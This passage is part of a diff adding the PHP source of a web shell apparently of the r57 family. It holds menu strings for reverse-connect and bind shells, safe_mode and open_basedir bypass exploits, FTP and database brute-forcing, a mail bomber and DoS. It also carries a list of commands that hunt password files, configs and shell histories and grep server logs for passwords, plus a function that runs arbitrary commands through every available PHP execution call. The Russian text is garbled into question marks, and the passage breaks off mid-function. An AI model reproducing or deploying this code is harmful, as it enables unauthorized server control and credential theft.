+'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list() (PHP <= 5.1.2)', +'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body() (PHP <= 5.1.2)', +'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? [compress.zlib://] (PHP <= 4.4.2, 5.1.2)', +'ru_text116'=>'?????????? ????', +'ru_text117'=>'?', +'ru_text118'=>'???? ??????????', +'ru_text119'=>'?? ??????? ??????????? ????', +'ru_text120'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? ini_restore() (PHP <= 4.4.4, 5.1.6) by NST', +'ru_text121'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? fopen() (PHP v4.4.0 memory leak) by NST', +'ru_text122'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? glob() (PHP <= 5.2.x)', +'ru_text123'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.bzip ?????? [compress.bzip2://] (PHP <= 5.2.1)', +'ru_text124'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'ru_text125'=>'??????', +'ru_text126'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????[NULL-byte] (PHP <= 5.2.0)', +'ru_text127'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'ru_text128'=>'???? ?????????/??????? ????? (touch)', +'ru_text129'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ? fopen(srpath://) (PHP v5.2.0)', +'ru_text130'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.zip ?????? [zip://] (PHP <= 5.2.1)', +'ru_text131'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ??????????? ????? ? ?????????????? symlink() (PHP <= 5.2.1)', +'ru_text132'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? symlink() (PHP <= 5.2.1)', +'ru_text133'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????(TMPDIR) (PHP <= 5.2.4)', +'ru_text134'=>'???????? ??? ??????', +'ru_text135'=>'???????', +'ru_text136'=>'???????? ?????????? ??????', +'ru_text137'=>'????????', +'ru_text138'=>'???????', +'ru_text139'=>'????-??????', +'ru_text140'=>'DoS', +'ru_text141'=>'?????????! ???????? ???? ???-???????.', +'ru_text142'=>'????????? ???????', +'ru_text143'=>'Temp: ', +'ru_text144'=>'Test bypass safe_mode with load file in mysqli', +'ru_text145'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? realpath() (PHP <= 5.2.4)', +'ru_text146'=>'MAX ???-?? ????????', +'ru_text147'=>'', +'ru_text148'=>'', +'ru_text149'=>'', +'ru_text150'=>'', +'ru_err0'=>'??????! ?? ???? ???????? ? ???? ', +'ru_err1'=>'??????! ?? ???? ????????? ???? ', +'ru_err2'=>'??????! ?? ??????? ??????? ', +'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????', +'ru_err4'=>'?????? ??????????? ?? ftp ???????', +'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????', +'ru_err6'=>'??????! ?? ??????? ????????? ??????', +'ru_err7'=>'?????? ??????????', +/* --------------------------------------------------------------- */ +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_butt3' =>'Bind', +'eng_butt4' =>'Connect', +'eng_butt5' =>'Run', +'eng_butt6' =>'Change', +'eng_butt7' =>'Show', +'eng_butt8' =>'Test', +'eng_butt9' =>'Dump', +'eng_butt10'=>'Save', +'eng_butt11'=>'Edit file', +'eng_butt12'=>'Find', +'eng_butt13'=>'Create/Delete', +'eng_butt14'=>'Download', +'eng_butt15'=>'Send', +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_text30'=>'Cat file', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without arch.', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'/etc/passwd', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu)', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', +'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', +'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', +'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)', +'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'eng_text125'=>'Data', +'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'eng_text128'=>'Modify/Access file (touch)', +'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'eng_text134'=>'Database-bruteforce', +'eng_text135'=>'Dictionary', +'eng_text136'=>'Creating evil symlink', +'eng_text137'=>'Useful', +'eng_text138'=>'Dangerous', +'eng_text139'=>'Mail Bomber', +'eng_text140'=>'DoS', +'eng_text141'=>'Danger! Web-daemon crash possible.', +'eng_text142'=>'Downloaders', +'eng_text143'=>'Temp: ', +'eng_text144'=>'Test bypass safe_mode with load file in mysqli', +'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)', +'eng_text146'=>'Max Interation', +'eng_text147'=>'', +'eng_text148'=>'', +'eng_text149'=>'', +'eng_text150'=>'', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'----------------------------------locate'=>'', +'locate httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate my.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate my.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate .conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate .pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate .sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".htpasswd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".bash_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".mysql_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate backup files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate backup >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate dump files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate dump >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate priv files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate priv >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'----------------------------------tar'=>'', +'tar -czvf all.tgz -T '.$tempdir.'grep.txt'=>'tar -czvf all.tgz -T '.$tempdir.'grep.txt', +'----------------------------------1'=>'', +'locate auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'locate ".log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'----------------------------------2'=>'', +'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt', +'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt', +'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt', +'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt', +'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt', +'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt', +'----------------------------------find'=>'', +'find suid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -04000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find suid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -04000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find sgid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -02000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find sgid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -02000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all writable files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all writable files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all writable directories >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type d -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all writable directories in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type d -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all writable directories and files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all writable directories and files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .htpasswd >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .bash_history >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .mysql_history >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find all .fetchmailrc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .fetchmailrc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find config* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "config*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find *.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find *.pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find *.sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find *backup* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*backup*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find *dump* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*dump*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'-----------------------------------'=>'', +'find /var/ auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find /var/ access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find /var/ error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find /var/ auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find /var/ access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find /var/ error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find /var/ "*_log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'find /var/ "*.log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Webdings color=gray>4</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; } +if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];} +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = @php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } + +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; + die(); + } + +/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/ +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;} +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } + +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} + +function ex($cfe) +{global $unix,$tempdir; + $res = ''; + if (!empty($cfe)) + { + if(@function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(@function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(@function_exists('system')) + { + @ob_start(); + @system('$cfe'); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + if(@function_exists('fread') && @function_exists('feof')){ + while(!@feof($f)) { $res .= @fread($f,1024); } + }else if(@function_exists('fgets') && @function_exists('feof')){ + while(!@feof($f)) { $res .= @fgets($f,1024); } + } + @pclose($f); + } + elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes))) + { + $res = ""; + if(@function_exists('fread') && @function_exists('feof')){ + while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);} + }else if(@function_exists('fgets') && @function_exists('feof')){ + while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);} + } + @proc_close($f); + } + }else{$res = safe_ex($cfe);} + return htmlspecialchars($res); +} + + +function safe_ex($cfe) +{global $unix,$tempdir; + $res = ''; + if (!empty($cfe)) + { + if(extension_loaded('perl')){ + @ob_start(); + $safeperl=new perl(); + $safeperl->eval("system('$cfe')"); + $res = 